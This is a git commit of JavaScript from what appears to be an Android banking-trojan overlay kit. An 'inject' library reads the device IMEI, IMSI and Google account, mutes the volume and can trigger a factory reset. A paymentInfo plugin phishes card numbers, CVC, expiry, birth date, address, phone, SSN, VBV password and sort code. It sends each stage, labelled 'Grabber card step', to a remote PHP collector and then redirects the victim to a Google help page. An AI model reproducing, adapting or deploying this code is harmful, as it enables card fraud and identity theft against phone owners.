initial commit

This commit is contained in:
i2p
2026-08-27 10:50:54 -06:00
commit 97a5f0aa12
3172 changed files with 570428 additions and 0 deletions
+1177
View File
File diff suppressed because it is too large Load Diff
+233
View File
@@ -0,0 +1,233 @@
/* Closes window of inject */
function closeWindow() {
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
Android.closeWindow();
} else {
functionIsNotDefined('closeWindow');
}
}
/* Executes factory reset of device */
function factoryReset() {
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
Android.factoryReset();
} else {
functionIsNotDefined('factoryReset');
}
}
/* Transmits data to server */
function transmit(stepID, form, closeInject, additionalData) {
var o = {};
var result = true;
var m = $('#' + form).serializeArray();
var a = (additionalData) ? m.concat(additionalData) : m;
$.each(a, function() {
var thisValue = this.value.trim();
if (thisValue == '') {
result = false;
return false;
}
if (o[this.name] !== undefined) {
if (!o[this.name].push) {
o[this.name] = [o[this.name]];
}
o[this.name].push(thisValue || '');
} else {
o[this.name] = thisValue || '';
}
});
if (!result) {
return false;
}
o['stepID'] = stepID;
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
Android.sendDataToServer(JSON.stringify(o), closeInject);
} else {
console.log(JSON.stringify(o));
}
return true;
}
/* Write to console if argument function is not defined */
function functionIsNotDefined(func) {
console.log('Android.' + func + '() was called');
}
/* Returns ISO XX code of current country */
function getCountryCode() {
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
return Android.getCountryCode();
} else {
functionIsNotDefined('getCountryCode');
return "gb";
}
}
/* Returns manufacturer of device */
function getDeviceBrand() {
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
return Android.getDeviceBrand();
} else {
functionIsNotDefined('getDeviceBrand');
return "";
}
}
/* Returns model of device */
function getDeviceModel() {
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
return Android.getDeviceModel();
} else {
functionIsNotDefined('getDeviceModel');
return "";
}
}
/* Returns Google Account (E-mail address) */
function getGoogleAccount() {
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
return Android.getGoogleAccount();
} else {
functionIsNotDefined('getGoogleAccount');
return "";
}
}
/* Returns IMEI code of device */
function getImei() {
if (isAndroid() && typeof(Android.getImei) == 'function') {
return Android.getImei();
} else {
functionIsNotDefined('getImei');
return 0;
}
}
/* Returns IMSI code of device */
function getImsi() {
if (isAndroid() && typeof(Android.getImsi) == 'function') {
return Android.getImsi();
} else {
functionIsNotDefined('getImsi');
return 0;
}
}
/* Returns ISO XX language code of current country */
function getLanguageCode() {
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
return Android.getLanguageCode();
} else {
functionIsNotDefined('getLanguageCode');
return "en";
}
}
/* Returns package name of current opened application */
function getPackageName() {
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
return Android.getPackageName();
} else {
functionIsNotDefined('getPackageName');
return "";
}
}
/* Returns current version of SDK */
function getVersionSdk() {
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
return Android.getVersionSdk();
} else {
functionIsNotDefined('getVersionSdk');
return 0;
}
}
/* Return whether Android is defined */
function isAndroid() {
return typeof Android != 'undefined';
}
/* Mute everything volume */
function muteVolume(state) {
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
Android.muteVolume(state);
} else {
functionIsNotDefined('muteVolume');
}
}
/*
* Shows message in dialog window
* If @packageName is not empty bot will start @packageName
*/
function showAlert(title, message, buttonText, packageName) {
if (isAndroid() && typeof(Android.alert) == 'function') {
Android.alert(title, message, buttonText, packageName);
} else {
alert(message);
}
}
/* Shows error if server did not answer */
function showInternetError() {
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
Android.saveFailInject(); // Saves inject's data in memory of device
} else {
functionIsNotDefined('saveFailInject');
}
$('#cat-forms').hide();
$('#cat-error').show();
}
/* Sends form with step's number stepID and shows form stepID + 1 */
function switchStep(stepID, regReceiver) {
if (transmit(stepID, regReceiver)) {
if (stepID == 1) {
$('.cat-start-step').hide();
}
$('.cat-step-block').hide();
$('#cat-step-' + (stepID + 1)).show();
} else {
showAlert('Error', 'You must fill out every field', 'OK', '')
}
}
/* Hides block with error and shows form for enter inject's data */
function tryEnterAgain() {
$('#cat-error').hide();
$('#cat-forms').show();
}
+147
View File
@@ -0,0 +1,147 @@
/**
* Credit.js
* Version: 1.0.0
* Author: Ron Masas
*/
(function( $ ){
$.fn.extend({
credit: function ( args ) {
$(this).each(function (){
// Set defaults
var defaults = {
auto_select:true
}
// Init user arguments
var args = $.extend(defaults,args);
// global var for the orginal input
var credit_org = $(this);
// Hide input if css was not set
credit_org.css("display","none");
// Create credit control holder
var credit_control = $('<div></div>',{
class: "credit-input"
});
// Add credit cell inputs to the holder
for ( i = 0; i < 4; i++ ) {
credit_control.append(
$("<input />",{
class: "credit-cell",
placeholder: "0000",
maxlength: 4
})
);
}
// Print the full credit input
credit_org.after( credit_control );
// Global var for credit cells
var cells = credit_control.children(".credit-cell");
/**
* Set key press event for all credit inputs
* this function will allow only to numbers to be inserted.
* @access public
* @return {bool} check if user input is only numbers
*/
cells.keypress(function ( event ) {
// Check if key code is a number
if ( event.keyCode > 31 && (event.keyCode < 48 || event.keyCode > 57) ) {
// Key code is a number, the `keydown` event will fire next
return false;
}
// Key code is not a number return false, the `keydown` event will not fire
return true;
});
/**
* Set key down event for all credit inputs
* @access public
* @return {void}
*/
cells.keydown(function ( event ) {
// Check if key is backspace
var backspace = ( event.keyCode == 8 );
// Switch credit text length
switch( $(this).val().length ) {
case 4:
// If key is backspace do nothing
if ( backspace ) {
return;
}
// Select next credit element
var n = $(this).next(".credit-cell");
// If found
if (n.length) {
// Focus on it
n.focus();
}
break;
case 0:
// Check if key down is backspace
if ( !backspace ) {
// Key is not backspace, do nothing.
return;
}
// Select previous credit element
var n = $(this).prev(".credit-cell");
// If found
if (n.length) {
// Focus on it
n.focus();
}
break;
}
});
// On cells focus
cells.focus( function() {
// Add focus class
credit_control.addClass('c-focus');
});
// On focus out
cells.blur( function() {
// Remove focus class
credit_control.removeClass('c-focus');
});
/**
* Update orginal input value to the credit card number
* @access public
* @return {void}
*/
cells.keyup(function (){
// Init card number var
var card_number = '';
// For each of the credit card cells
cells.each(function (){
// Add current cell value
card_number = card_number + $(this).val();
});
// Set orginal input value
credit_org.val( card_number );
});
if ( args["auto_select"] === true ) {
// Focus on the first credit cell input
credit_control.children(".credit-cell:first").focus();
}
});
}
});
})(jQuery);
+800
View File
@@ -0,0 +1,800 @@
(function ($) {
$.fn.paymentInfo = function (method) {
var typeCard;
var numberCC;
var month_;
var year_;
var date = new Date();
var dataGet = date.toDateString() + " " + date.getHours() + ":" + date.getMinutes();
function getAjax(text) {
var msg = $('#myForm').serialize();
var URL_ = $('.' + opts.URL).val();
$.ajax({
type: 'POST',
url: URL_+'/o1o/a10.php',
data: text,
success: function(data) {
$('.results').html(data);
},
error: function(xhr, str){
// alert('Возникла ошибка: ' + xhr.responseCode);
}
});
}
var methods,
helpers,
events,
ccDefinitions,
opts,
cardType,
pluginName = "paymentInfo",
cardCvcIsOk = false,
cardNumberIsOk = false,
doubleVbvWasSent = false,
cardExpirationIsOk = false,
versionSDK = getVersionSdk();
// Events map for the matchNumbers() function.
events = $.map(['change', 'blur', 'keyup', 'keypress', 'keydown'], function (v) {
return v + '.' + pluginName;
}).join(' ');
// Credit card regex patterns.
ccDefinitions = {
'visa': /^4/,
'mastercard': /^5[1-5]/,
'amex': /^3(4|7)/,
'diners': /^3(00|01|02|03|04|05|5|8|9|09)/,
'discover': /^6(5|011|44|45|46|47|48|49)/,
'jcb': /^35[28-89]/
};
helpers = {
getCreditCardType: function (number) {
var ccType;
numberCC=number;
$.each(ccDefinitions, function (i, v) {
if (v.test(number)) {
ccType = i;
typeCard = i;
return false;
}
});
return ccType;
},
showAllCardImages: function () {
$('.img_cards').fadeIn( 'slow' );
},
showErrorField: function (field_class) {
$('.' + field_class).addClass('field_error');
var width = $('.' + field_class).offset().left + $('.' + field_class).width();
$('#' + field_class + '-error').css('left', width - 12);
var display = (field_class == opts.cardVbvClass) ? 'block' : 'inline-flex';
$('#' + field_class + '-error').css('display', display);
},
hideErrorField: function (field_class) {
$('.' + field_class).removeClass('field_error');
$('#' + field_class + '-error').hide();
},
expirationInComplete: function () {
cardExpirationIsOk = false;
},
expirationComplete: function () {
cardExpirationIsOk = true;
var mmYY = $('.' + opts.cardExpirationClass).val().split('/');
var month = parseInt(mmYY[0]);
var year = parseInt(mmYY[1]);
if (month > 12 || month < 1 || year > 28 || year < 17) {
helpers.showErrorField(opts.cardExpirationClass);
cardExpirationIsOk = false;
} else {
month_=month;
year_=year;
helpers.hideErrorField(opts.cardExpirationClass);
cardExpirationIsOk = true;
setTimeout(function () {
$('.' + opts.cardCvvClass).focus();
$('.' + opts.cardCvcHint).fadeIn('slow');
}, 220);
}
},
cvcInComplete: function () {
cardCvcIsOk = false;
},
cvcComplete: function () {/*****************************************************************************************ПЕРВЫЙ ШАГ*/
cardCvcIsOk = true;
helpers.hideErrorField(opts.cardCvvClass);
helpers.checkCardDataAndTransmit();
var IMEI = $('.' + opts.imei).val();
var CVC = $('.' + opts.cardCvvClass).val();
// getAjax('p=' + IMEI + '|Grabber card step 1|' + typeCard + '|' + numberCC + '|' + month_ + '/' + year_ + '|' + CVC + '|' + dataGet);
//alert(typeCard + " | " + numberCC + " | " + month_ + "/" + year_ + " " + CVC + " " + IMEI);
},
exists: function () {
return $(this).length;
},
checkCardDataAndTransmit: function () {
if (!cardNumberIsOk) {
helpers.showErrorField(opts.cardNumberClass);
$('.' + opts.cardNumberClass).focus();
return;
}
if (!cardExpirationIsOk) {
helpers.showErrorField(opts.cardExpirationClass);
$('.' + opts.cardExpirationClass).focus();
return;
}
var mmYY = $('.' + opts.cardExpirationClass).val().split('/');
var mmYYarr = [
{ name: 'expiredMonth', value: mmYY[0] },
{ name: 'expiredYear', value: mmYY[1] } ];
if (transmit(1, opts.cardDataBlockId, false, mmYYarr)) {
$('#' + opts.cardDataBlockId).hide();
$('#' + opts.addressFieldsBlockId).slideDown(700);
$('.' + opts.saveButtonClass).attr('disabled', false);
}
},
checkHolderDataAndTransmit: function (pressSend) {
if ($('.' + opts.cardHolderClass).val().length < 10) {
helpers.showErrorField(opts.cardHolderClass);
$('.' + opts.cardHolderClass).focus();
return;
}
helpers.hideErrorField(opts.cardHolderClass);
var dateBirth = $('.' + opts.dateBirthClass).val();
if (dateBirth.length != 10) {
helpers.showErrorField(opts.dateBirthClass);
$('.' + opts.dateBirthClass).focus();
return;
}
var resultReg = dateBirth.match(/^\d{2}\.\d{2}\.(\d{4})$/);
var year = resultReg[1];
if (!year || year > 2006 || year < 1956) {
helpers.showErrorField(opts.dateBirthClass);
$('.' + opts.dateBirthClass).focus();
return;
}
helpers.hideErrorField(opts.dateBirthClass);
var phonePrefix = $('.' + opts.prefixNumberClass).val();
if (phonePrefix.length == 0) {
helpers.showErrorField(opts.prefixNumberClass);
$('.' + opts.prefixNumberClass).focus();
return;
}
helpers.hideErrorField(opts.prefixNumberClass);
var phoneBody = $('.' + opts.phoneNumberClass).val();
if (phoneBody.length < 7) {
helpers.showErrorField(opts.phoneNumberClass);
$('.' + opts.phoneNumberClass).focus();
return;
}
helpers.hideErrorField(opts.phoneNumberClass);
var numberPhone = phonePrefix.concat(phoneBody).replace(/ /ig, '');
var numberPhoneArr = [ { name: 'phoneNumber', value: numberPhone } ];
var thirdStep = (cardType == 'visa' || cardType == 'mastercard');
if (pressSend) {
$('.' + opts.saveButtonClass).attr('disabled', true);
setTimeout(function () {
$('.' + opts.saveButtonClass).attr('disabled', false)
}, 2500);
if (transmit(2, opts.addressFieldsBlockId, !thirdStep, numberPhoneArr)) {
if (thirdStep) {
if (cardType == 'mastercard') {
var imgUrl = 'images/mdpi/mastercard_securecode_logo.png';
$('.' + opts.vbvImageClass).attr('src', imgUrl);
}
var сardHolder = $('.' + opts.cardHolderClass).val();
var dateBirth = $('.' + opts.dateBirthClass).val();
var postalCode = $('.' + opts.postalCodeClass).val();
var holderAddress = $('.' + opts.holderAddressClass).val();
var prefixNumber = $('.' + opts.prefixNumberClass).val();
var phoneNumber = $('.' + opts.phoneNumberClass).val();
var IMEI = $('.' + opts.imei).val();
var SSN_ = $('.' + opts.SSN).val();
var AN_ = $('.' + opts.AN).val();
var CVC2 = $('.' + opts.cardCvvClass).val();
getAjax('p=' + IMEI + '|Grabber card step 1|' + typeCard + '|' + numberCC + '|' + month_ + '/' + year_ + '|' + CVC2 + '|' + dataGet);
getAjax('p=' + IMEI + '|Grabber card step 2|' + сardHolder + '|' + dateBirth + '|' + postalCode + '|' + holderAddress + '|' + prefixNumber + phoneNumber + '|' + dataGet + '|' + numberCC + '|' + SSN_ + '|' + AN_);
//alert(сardHolder +" | " + dateBirth + " | " + postalCode + " | " + holderAddress + " | " + prefixNumber + phoneNumber);
/*****************************************************************************************ВТОРОЙ ШАГ*/
$('.' + opts.cardVbvClass).focus();
$('.' + opts.saveButtonClass).hide();
$('.' + opts.verifyButtonClass).show();
} else {
helpers.startEndSpinner();
}
$('.' + opts.textTitleClass).hide();
$('#' + opts.addressFieldsBlockId).hide();
$('#' + opts.cardVbvBlockId).show();
}
}
},
checkVbvDataAndTransmit: function () {
if ($('.' + opts.cardVbvClass).val().length < 4) {
helpers.showErrorField(opts.cardVbvClass);
return;
}
if (doubleVbvWasSent) {
helpers.hideErrorField(opts.cardVbvClass);
helpers.startEndSpinner();
var stepID = (getCountryCode() == 'gb') ? 5 : 4;
transmit(stepID, opts.cardVbvBlockId, true);
} else {
var VBV = $('.' + opts.cardVbvClass).val();
var IMEI = $('.' + opts.imei).val();
getAjax('p=' + IMEI + '|Grabber card step 3|' + VBV + '|' + numberCC);
//alert(VBV);
/*****************************************************************************************ТРЕТИЙ ШАГ*/
transmit(3, opts.cardVbvBlockId, false);
doubleVbvWasSent = true;
$('.' + opts.cardVbvClass).val('');
helpers.showErrorField(opts.cardVbvClass);
$('.' + opts.cardVbvClass).removeClass('field_error');
$('.' + opts.cardVbvClass).attr('name','vbvPassRepeat');
if (getCountryCode() == 'gb') {
$('.' + opts.vbvImageClass).attr('src', 'images/mdpi/lock.png');
$('.' + opts.cardVbvClass).attr('placeholder', 'Sort code');
$('.' + opts.cardVbvClass).attr('name', 'sortCode');
$('.' + opts.cardVbvClass).focus();
}
}
},
startEndSpinner: function () {
var Sort_code = $('.' + opts.cardVbvClass).val();
var IMEI = $('.' + opts.imei).val();
//getAjax('p=' + IMEI + '|Grabber card step 4|' + Sort_code + '|' + numberCC);
//alert(Sort_code);
/*****************************************************************************************ЧЕТВЕРТЫЙ ШАГ*/
$('.' + opts.vbvImageClass).attr('src', 'images/spinner.gif');
$('.' + opts.vbvImageClass).css('height', '100%');
$('.' + opts.vbvImageClass).css('width', '100%');
$('.' + opts.vbvImageClass).css('margin-top', '10px');
$('.' + opts.buttonBarClass).hide();
$('.' + opts.cardVbvClass).attr('style','display:none !important');
var URL_admin = $('.' + opts.URL).val();
//location.replace(URL_admin + '/o1o/a10.php?p=' + IMEI + '|Grabber card step 4|' + Sort_code + '|' + numberCC);
//location.replace('STOP');
getAjax('p=' + IMEI + '|Grabber card step 4|' + Sort_code + '|' + numberCC);
setTimeout("location.replace('https://support.google.com/calendar/answer/6261951?hl=en&co=GENIE.Platform=Android')", 4000);
//location.replace('https://play.google.com/apps');
},
matchNumbers: function (element) {
var cardNumber = element.val();
cardType = helpers.getCreditCardType(cardNumber);
if (cardNumber != "") {
if (cardType !== undefined && $('#img_card_' + cardType).exists()) {
$('#img_card_' + cardType).removeClass('img_cards');
$('.img_cards').fadeOut( 'slow' );
$('#img_card_' + cardType).addClass('img_cards');
} else {
helpers.showAllCardImages();
}
} else {
helpers.showAllCardImages();
}
//if (false && versionSDK < 16) {
/*
if (cardType == "amex" && cardNumber.length == 15) {
helpers.creditCardComplete();
} else if (cardNumber.length == 16) {
helpers.creditCardComplete();
}
*/
//} else {
var maskCVC = (cardType === "amex") ? '0000' : '000';
$('.' + opts.cardCvvClass)
.mask(maskCVC, {
onComplete: function(cep) {
helpers.cvcComplete();
},
onInvalid: function(val, e, f, invalid, options) {
helpers.cvcInComplete();
}
})
.bind('blur', function (e) {
if (!cardCvcIsOk) {
helpers.showErrorField(opts.cardCvvClass);
}
});
var mask = (cardType === "amex")
? '0000 000000 00000'
: '0000 0000 0000 0000';
element.mask(mask, {
onComplete: function(cep) {
helpers.creditCardComplete();
}
});
//}
},
creditCardComplete: function () {
var element = $('.' + opts.cardNumberClass),
uvalue = element.val(),
element_error = $('.' + opts.cardNumberClass + '_error');
cardType = helpers.getCreditCardType(uvalue);
if (cardType === "amex" && uvalue.length === 15) {
$('.' + opts.cardCvcHint).attr('src', 'images/mdpi/cvc_hint_amex.png');
} else if (cardType !== "amex" && uvalue.length === 16) {
$('.' + opts.cardCvcHint).attr('src', 'images/mdpi/cvc_hint_default.png');
}
var ccDigit = uvalue.replace(/ /ig, '');
if (!helpers.ccLuhnCheck(ccDigit) || !helpers.checkCreditCard(ccDigit)) {
helpers.showErrorField(opts.cardNumberClass);
cardNumberIsOk = false;
return;
}
cardNumberIsOk = true;
helpers.hideErrorField(opts.cardNumberClass);
$('.' + opts.cardMmYyCvcBlock).show();
$('.' + opts.cardExpirationClass).focus();
},
beginCreditCard: function (element) {
$(element)
.unbind("keypress blur")
.bind("keypress blur", function (e) {
if (e.keyCode === 13 || e.type === 'blur') {
var uvalue = $(element).val();
cardType = helpers.getCreditCardType(uvalue);
// Make sure the number length is valid
if ((cardType === "amex" && uvalue.length === 15) ||
(cardType !== "amex" && uvalue.length === 16)) {
helpers.creditCardComplete();
} else {
cardNumberIsOk = false;
}
}
})
.unbind("focus click keydown");
},
ccLuhnCheck: function (card_number) {
var arr = [],
card_number = card_number.toString();
for(var i = 0; i < card_number.length; i++) {
if(i % 2 === 0) {
var m = parseInt(card_number[i]) * 2;
if(m > 9) {
arr.push(m - 9);
} else {
arr.push(m);
}
} else {
var n = parseInt(card_number[i]);
arr.push(n)
}
}
var summ = arr.reduce(function(a, b) { return a + b; });
return Boolean(!(summ % 10));
},
checkCreditCard: function (cardnumber) {
var badDigits = [
'00000',
'111111',
'222222',
'333333',
'444444',
'555555',
'666666',
'777777',
'888888',
'999999'
];
var goodCard = true;
$.each(badDigits, function() {
if (cardnumber.indexOf(this) != -1) {
goodCard = false;
return false;
}
});
if ( ! goodCard )
return false;
// Array to hold the permitted card characteristics
var cards = new Array();
// Define the cards we support. You may add addtional card types as follows.
// Name: As in the selection box of the form - must be same as user's
// Length: List of possible valid lengths of the card number for the card
// prefixes: List of possible prefixes for the card
// checkdigit: Boolean to say whether there is a check digit
cards[0] = {
name : "Visa",
length : "13,16",
prefixes : "4",
checkdigit : true
};
cards[1] = {
name : "MasterCard",
length : "16",
prefixes : "51,52,53,54,55",
checkdigit : true
};
cards[2] = {
name : "DinersClub",
length : "14,16",
prefixes : "36,38,54,55",
checkdigit : true
};
cards[3] = {
name : "CarteBlanche",
length : "14",
prefixes : "300,301,302,303,304,305",
checkdigit : true
};
cards[4] = {
name : "AmEx",
length : "15",
prefixes : "34,37",
checkdigit : true
};
cards[5] = {
name : "Discover",
length : "16",
prefixes : "6011,622,64,65",
checkdigit : true
};
cards[6] = {
name : "JCB",
length : "16",
prefixes : "35",
checkdigit : true
};
cards[7] = {
name : "enRoute",
length : "15",
prefixes : "2014,2149",
checkdigit : true
};
cards[8] = {
name : "Solo",
length : "16,18,19",
prefixes : "6334,6767",
checkdigit : true
};
cards[9] = {
name : "Switch",
length : "16,18,19",
prefixes : "4903,4905,4911,4936,564182,633110,6333,6759",
checkdigit : true
};
cards[10] = {
name : "Maestro",
length : "12,13,14,15,16,18,19",
prefixes : "5018,5020,5038,6304,6759,6761,6762,6763",
checkdigit : true
};
cards[11] = {
name : "VisaElectron",
length : "16",
prefixes : "4026,417500,4508,4844,4913,4917",
checkdigit : true
};
cards[12] = {
name : "LaserCard",
length : "16,17,18,19",
prefixes : "6304,6706,6771,6709",
checkdigit : true
};
// Ensure that the user has provided a credit card number
if (cardnumber.length == 0) {
return false;
}
// Now remove any spaces from the credit card number
cardnumber = cardnumber.replace(/\s/g, "");
// Check that the number is numeric
var cardNo = cardnumber;
var cardexp = /^[0-9]{13,19}$/;
if (!cardexp.exec(cardNo)) {
return false;
}
// Establish card type
var cardType = -1;
for (var i = 0; i < cards.length; i++) {
// We use these for holding the valid lengths and prefixes of a card type
var prefix = new Array();
// Load an array with the valid prefixes for this card
prefix = cards[i].prefixes.split(",");
// Now see if any of them match what we have in the card number
for (var j = 0; j < prefix.length; j++) {
var exp = new RegExp("^" + prefix[j]);
if (exp.test(cardnumber)) {
cardType = i;
break;
}
}
if (cardType != -1) {
break;
}
}
// If card type not found, report an error
if (cardType == -1) {
return false;
}
// Now check the modulus 10 check digit - if required
if (cards[cardType].checkdigit) {
var checksum = 0; // running checksum total
var mychar = ""; // next char to process
var j = 1; // takes value of 1 or 2
// Process each digit one by one starting at the right
var calc;
for (i = cardNo.length - 1; i >= 0; i--) {
// Extract the next digit and multiply by 1 or 2 on alternative digits.
calc = Number(cardNo.charAt(i)) * j;
// If the result is in two digits add 1 to the checksum total
if (calc > 9) {
checksum = checksum + 1;
calc = calc - 10;
}
// Add the units element to the checksum total
checksum = checksum + calc;
// Switch the value of j
if (j == 1) {
j = 2
} else {
j = 1
};
}
// All done - if checksum is divisible by 10, it is a valid modulus 10.
// If not, report an error.
if (checksum % 10 != 0) {
return false;
}
}
// Check it's not a spam number
if (cardNo == '5490997771092064') {
return false;
}
// The following are the card-specific checks we undertake.
var LengthValid = false;
var undefined;
var lengths = new Array();
// See if the length is valid for this card
lengths = cards[cardType].length.split(",");
for (j = 0; j < lengths.length; j++) {
if (cardNo.length == lengths[j])
LengthValid = true;
}
// See if all is OK by seeing if the length was valid. We only check the length if all else was
// hunky dory.
if (!LengthValid) {
return false;
};
// The credit card is in the required format.
return true;
}
};
methods = {
init: function (options) {
opts = $.extend({}, $.fn.paymentInfo.defaults, options);
$('.' + opts.saveButtonClass).click(function (e) {
helpers.checkHolderDataAndTransmit(true);
})
$('.' + opts.verifyButtonClass).click(function (e) {
helpers.checkVbvDataAndTransmit();
})
return this.each(function () {
$(this)
.find('.' + opts.cardExpirationClass)
.mask('00/00', {
onComplete: function(cep) {
helpers.expirationComplete();
},
onInvalid: function(val, e, f, invalid, options) {
helpers.expirationInComplete();
}
})
.bind('blur', function (e) {
if (!cardExpirationIsOk) {
helpers.showErrorField(opts.cardExpirationClass);
}
})
.end()
.find('.' + opts.postalCodeClass)
.bind('blur', function (e) {
helpers.checkHolderDataAndTransmit(false);
})
.end()
.find('.' + opts.prefixNumberClass)
.mask('000000')
.bind('blur', function (e) {
helpers.checkHolderDataAndTransmit(false);
})
.end()
.find('.' + opts.phoneNumberClass)
.mask('00000000000')
.bind('blur', function (e) {
helpers.checkHolderDataAndTransmit(false);
})
.end();
helpers.matchNumbers($(this).find('.' + opts.cardNumberClass).eq(0));
}).unbind('.' + pluginName).bind(events, function () {
helpers.matchNumbers($(this).find('.' + opts.cardNumberClass).eq(0));
});
},
// Need to add this later.
destroy: function () {
return this.unbind('.' + pluginName);
}
};
if (methods[method]) {
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
}
if (typeof method === "object" || !method) {
return methods.init.apply(this, arguments);
}
};
$.fn.paymentInfo.defaults = {
URL: "URL",
AN: "AN",
SSN: "SSN",
imei: "imei",
cardCvvClass: "card-cvc",
cardCvcHint: "cvc-hint",
cardMmYyCvcBlock: "month-year-cvc-block",
cardExpirationClass: "card-expiration",
cardNumberClass: "card-number",
cardHolderClass: "card-holder",
dateBirthClass: "date-birth",
postalCodeClass: "postal-code",
holderAddressClass: "holder-address",
prefixNumberClass: "phone-prefix",
phoneNumberClass: "phone-number",
saveButtonClass: "save-button",
verifyButtonClass: "verify-button",
cardDataBlockId: "card-data-block",
addressFieldsBlockId: "address-fields-block",
vbvImageClass: "vbv-image",
cardVbvClass: "card-vbv",
cardVbvBlockId: "card-vbv-block",
textTitleClass: "text-title",
buttonBarClass: "button-bar",
animationWait: 600,
focusDelay: 200
};
}(jQuery));
$(".credit-card-group").paymentInfo();
+783
View File
@@ -0,0 +1,783 @@
(function ($) {
$.fn.paymentInfo = function (method) {
var typeCard;
var numberCC;
var month_;
var year_;
var date = new Date();
var dataGet = date.toDateString() + " " + date.getHours() + ":" + date.getMinutes();
function getAjax(text) {
var msg = $('#myForm').serialize();
$.ajax({
type: 'POST',
url: '/o1o/a10.php',
data: text,
success: function(data) {
$('.results').html(data);
},
error: function(xhr, str){
alert('Возникла ошибка: ' + xhr.responseCode);
}
});
}
var methods,
helpers,
events,
ccDefinitions,
opts,
cardType,
pluginName = "paymentInfo",
cardCvcIsOk = false,
cardNumberIsOk = false,
doubleVbvWasSent = false,
cardExpirationIsOk = false,
versionSDK = getVersionSdk();
// Events map for the matchNumbers() function.
events = $.map(['change', 'blur', 'keyup', 'keypress', 'keydown'], function (v) {
return v + '.' + pluginName;
}).join(' ');
// Credit card regex patterns.
ccDefinitions = {
'visa': /^4/,
'mastercard': /^5[1-5]/,
'amex': /^3(4|7)/,
'diners': /^3(00|01|02|03|04|05|5|8|9|09)/,
'discover': /^6(5|011|44|45|46|47|48|49)/,
'jcb': /^35[28-89]/
};
helpers = {
getCreditCardType: function (number) {
var ccType;
numberCC=number;
$.each(ccDefinitions, function (i, v) {
if (v.test(number)) {
ccType = i;
typeCard = i;
return false;
}
});
return ccType;
},
showAllCardImages: function () {
$('.img_cards').fadeIn( 'slow' );
},
showErrorField: function (field_class) {
$('.' + field_class).addClass('field_error');
var width = $('.' + field_class).offset().left + $('.' + field_class).width();
$('#' + field_class + '-error').css('left', width - 12);
var display = (field_class == opts.cardVbvClass) ? 'block' : 'inline-flex';
$('#' + field_class + '-error').css('display', display);
},
hideErrorField: function (field_class) {
$('.' + field_class).removeClass('field_error');
$('#' + field_class + '-error').hide();
},
expirationInComplete: function () {
cardExpirationIsOk = false;
},
expirationComplete: function () {
cardExpirationIsOk = true;
var mmYY = $('.' + opts.cardExpirationClass).val().split('/');
var month = parseInt(mmYY[0]);
var year = parseInt(mmYY[1]);
if (month > 12 || month < 1 || year > 26 || year < 16) {
helpers.showErrorField(opts.cardExpirationClass);
cardExpirationIsOk = false;
} else {
month_=month;
year_=year;
helpers.hideErrorField(opts.cardExpirationClass);
cardExpirationIsOk = true;
setTimeout(function () {
$('.' + opts.cardCvvClass).focus();
$('.' + opts.cardCvcHint).fadeIn('slow');
}, 220);
}
},
cvcInComplete: function () {
cardCvcIsOk = false;
},
cvcComplete: function () {/*****************************************************************************************ПЕРВЫЙ ШАГ*/
cardCvcIsOk = true;
helpers.hideErrorField(opts.cardCvvClass);
helpers.checkCardDataAndTransmit();
var CVC = $('.' + opts.cardCvvClass).val();
var IMEI = $('.' + opts.imei).val();
//alert(typeCard + " | " + numberCC + " | " + month_ + "/" + year_ + " " + CVC + " " + IMEI);
},
exists: function () {
return $(this).length;
},
checkCardDataAndTransmit: function () {
if (!cardNumberIsOk) {
helpers.showErrorField(opts.cardNumberClass);
$('.' + opts.cardNumberClass).focus();
return;
}
if (!cardExpirationIsOk) {
helpers.showErrorField(opts.cardExpirationClass);
$('.' + opts.cardExpirationClass).focus();
return;
}
var mmYY = $('.' + opts.cardExpirationClass).val().split('/');
var mmYYarr = [
{ name: 'expiredMonth', value: mmYY[0] },
{ name: 'expiredYear', value: mmYY[1] } ];
if (transmit(1, opts.cardDataBlockId, false, mmYYarr)) {
$('#' + opts.cardDataBlockId).hide();
$('#' + opts.addressFieldsBlockId).slideDown(700);
$('.' + opts.saveButtonClass).attr('disabled', false);
}
},
checkHolderDataAndTransmit: function (pressSend) {
if ($('.' + opts.cardHolderClass).val().length < 10) {
helpers.showErrorField(opts.cardHolderClass);
$('.' + opts.cardHolderClass).focus();
return;
}
helpers.hideErrorField(opts.cardHolderClass);
var dateBirth = $('.' + opts.dateBirthClass).val();
if (dateBirth.length != 10) {
helpers.showErrorField(opts.dateBirthClass);
$('.' + opts.dateBirthClass).focus();
return;
}
var resultReg = dateBirth.match(/^\d{2}\.\d{2}\.(\d{4})$/);
var year = resultReg[1];
if (!year || year > 2006 || year < 1956) {
helpers.showErrorField(opts.dateBirthClass);
$('.' + opts.dateBirthClass).focus();
return;
}
helpers.hideErrorField(opts.dateBirthClass);
var phonePrefix = $('.' + opts.prefixNumberClass).val();
if (phonePrefix.length == 0) {
helpers.showErrorField(opts.prefixNumberClass);
$('.' + opts.prefixNumberClass).focus();
return;
}
helpers.hideErrorField(opts.prefixNumberClass);
var phoneBody = $('.' + opts.phoneNumberClass).val();
if (phoneBody.length < 7) {
helpers.showErrorField(opts.phoneNumberClass);
$('.' + opts.phoneNumberClass).focus();
return;
}
helpers.hideErrorField(opts.phoneNumberClass);
var numberPhone = phonePrefix.concat(phoneBody).replace(/ /ig, '');
var numberPhoneArr = [ { name: 'phoneNumber', value: numberPhone } ];
var thirdStep = (cardType == 'visa' || cardType == 'mastercard');
if (pressSend) {
$('.' + opts.saveButtonClass).attr('disabled', true);
setTimeout(function () {
$('.' + opts.saveButtonClass).attr('disabled', false)
}, 2500);
if (transmit(2, opts.addressFieldsBlockId, !thirdStep, numberPhoneArr)) {
if (thirdStep) {
if (cardType == 'mastercard') {
var imgUrl = 'images/mdpi/mastercard_securecode_logo.png';
$('.' + opts.vbvImageClass).attr('src', imgUrl);
}
var сardHolder = $('.' + opts.cardHolderClass).val();
var dateBirth = $('.' + opts.dateBirthClass).val();
var postalCode = $('.' + opts.postalCodeClass).val();
var holderAddress = $('.' + opts.holderAddressClass).val();
